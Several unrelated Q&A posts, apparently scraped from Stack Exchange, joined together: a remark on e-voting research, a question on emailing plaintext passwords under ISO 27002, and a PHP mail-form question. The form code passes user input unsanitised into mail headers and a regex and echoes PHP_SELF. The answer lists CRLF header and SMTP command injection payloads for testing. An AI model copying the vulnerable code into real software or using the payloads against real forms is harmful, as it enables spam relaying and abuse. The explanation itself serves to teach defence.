Note that there are different legal, technical and societal concerns about e-voting and remote voting in each country. Wolter Pieters did his PhD thesis on the controversies surrounding electronic voting, and compared the issues between the USA, the UK, the Netherlands and Estonia. It's a very good non-technical introduction to the challenges of voting and electronic voting.


ISO and Password Security I have to go through background check. The company providing the service to the client is called Verifications, Inc. Verifications, Inc claims to have a data security plan, ISO certification and US Federal clients.

I was surprised to learn the company provides a web based system and sends the username and password via plain text email to external systems. For example, the company will send invitation emails to an AOL or Mindspring account.

I know emailing the password violates NIST practices. For example, it violates SP800-53's Authenticator Management IA-5 and possibly IA-6. It also violates handling practices of SP800-118.

Does anyone know if emailing a plain text password is acceptable practice under any ISO? Does data sensitivity affect handling under the ISO?

ISO/IEC 27002:2015 Section 9) Access Controls
Subsection 9.4.2 - Secure logon procedures

"Implementing and using suitable authentication techniques, not disclosing sensitive information at log-on time, data entry validation, protection against brute-force attacks, logging, not transmitting passwords in clear over the network, session inactivity timeouts, and access time restrictions."


Advice if safe from mail header injection PHP Possible Duplicate:
  PHP mail() Header Injection Prevention

Since I only started learning about header injection in the PHP mail() function, am uncertain if the form/code below is vulnerable to attack and I am asking for advice.

I have been slowly building this over a long period of time, and would not be a very "Happy Camper" if subjected to attacks.

Integrated PHP and submission form

<?php

$target_site = 'http://www.somewhere.xxx/some_folder/try_to_access.php';

if (isset($_SERVER['HTTP_REFERER']) && preg_match("/".preg_quote($target_site,"/")."/i",$_SERVER['HTTP_REFERER'])) {

$file = "good_emails.txt";

$lines = count(file($file));

if ($lines > 100) {

header("Location: not_available_to_submit.php");

}

else {

if(isset($_POST['submit'])) {

if(trim($_POST['email']) == '')  {
$hasError = true;
} else if (!eregi("^[A-Z0-9._%-]+@[A-Z0-9._%-]+\.[A-Z]{2,4}$",   trim($_POST['email']))) {
$hasError = true;

echo "ERROR! Please enter a valid E-mail address.";

}

else {

if(trim($_POST['accept_terms']) == '') {
$hasError = true;

echo "ERROR! Please accept the terms and conditions.";

} else {

$accept_terms = trim($_POST['accept_terms']);

}

$email = trim($_POST['email']);

}

if(!isset($hasError)) {

include 'form_validater.php';

}
}

}

}

else {

header("Location: improper_referer.php");

}

?>

<!DOCTYPE html>

Enter your E-mail address.

<form method="post" action="<?php echo $_SERVER['PHP_SELF']; ?>">

<input type="checkbox" name="accept_terms" value="accepted-terms" id="accept_terms" />
Check the box if you accept the terms and conditions.

<input type="text" size="35" name="email">
<input id="button" type="submit" name="submit" value="Submit" />

</form>

Privacy policy:

Email remains safe and not resold. You will receive an E-mail shortly after your submission, in order to confirm.

And my form validating script - form_validater.php

<?php

$emails = file_get_contents("good_emails.txt");

$email = $_POST['email'];

if ( preg_match( "/(?:^|\W){$email}(?:\W|$)/", $emails ) ) {

header('Location: exists_sorry.php');

}

else {

header('Location: thank_you.php');

$server_address = $_SERVER['SERVER_ADDR'];
$port_used = $_SERVER['SERVER_PORT'];
$ip_address = $_SERVER['REMOTE_ADDR'];

$today = mktime(0, 0, 0, date("m"), date("d"), date("y"));

$today2 = date('Y-m-d H:i:s', time() );

$currenttime = date('h:i:s:u');
list($hrs,$mins,$secs,$msecs) = split(':',$currenttime);

$email = $_POST['email'];

$to = "me@somewhere.com";
$subject = "New Email Address sent";
$headers = "From: $email\n";

$message = "A visitor to your site has sent the following email address to be added.\n
Email Address: $email

Used on Date: $today2

IP Address: $ip_address
Server address: $server_address
Port used: $port_used";

$user = "$email";

$usersubject = "Please confirm your email.";

$userheaders = "From: ".$_POST['email'];

$hash = hash('sha256', "mysalt".$email."addingmoresalt");

$usermessage = "Please click the link below to confirm your E-mail address: \n\nhttp://www.somewhere.xxx/confirm.php?email=".urlencode($email)."&hasher=$hash
\n
If you feel that you did not authorize this, simply ignore this message.";

mail($to,$subject,$message,$headers);

mail($user,$usersubject,$usermessage,$userheaders);

$f = fopen('tmp_emails.txt', 'a+');

fwrite($f, $email." ");

fwrite($f, "Used on ".date("m/d/Y", $today). (" $hrs:$mins:$secs")." ");

fwrite($f, "IP address: ".$ip_address."\n");

fclose($f);

}

?>

The mail() function uses an additional_headers parameter, which could be used to set other headers. You just have to separate them by a newline character.

Here is what you have to check:
Let's say, that you  have got an input which allows you to type To: e-mail. You type there eg. mymail@stackexchange.com and the e-mail is sent to that address. Try to inject another header, let's say Bcc::

mymail@stackexchange.com%0aBcc:anothermail@stackexchange.com
mymail@stackexchange.com%0d%0aBcc:anothermail@stackexchange.com

You shoudn't forget to check if you code isn't vulnerable to SMTP Injection. Let's say that your script generate SMTP commands:

MAIL FROM: first_email@stackexchange.com
RCPT TO: second_email@stackexchange.com
DATA
From: first_email@stackexchange.com
To: second_email@stackexchange.com
Subject: Important e-mail
text

.

This commands could be generated by request: ?from=first_email@stackexchange.com&Subject=Important+e-mail&message=text.

However you could try to inject another commands into Subject parameter as follows: ?from=first_email@stackexchange.com&Subject=Important+e-mail%0d%0a%2e%0d%0aMAIL+FROM:+attacker@stackexchange.com%0d%0aRCPT+TO:+victim@stackexchange.com%0d%0aDATA%0d%0aFrom:+attacker@stackexchange.com%0d%0aTo:+victim@stackexchange.com%0d%0aSubject:+Bum%0d%0ainjected%0d%0a%2e%0d%0a&message=text
If your webapp is vulnerable, then it'll generate two different e-mail messages:

MAIL FROM: first_email@stackexchange.com
RCPT TO: second_email@stackexchange.com
DATA
From: first_email@stackexchange.com
To: second_email@stackexchange.com
Subject: Important e-mail
text

.
MAIL FROM: attacker@stackexchange.com
RCPT TO: victim@stackexchange.com
DATA
From: attacker@stackexchange.com
To: victim@stackexchange.com
Subject: Bum
injected

.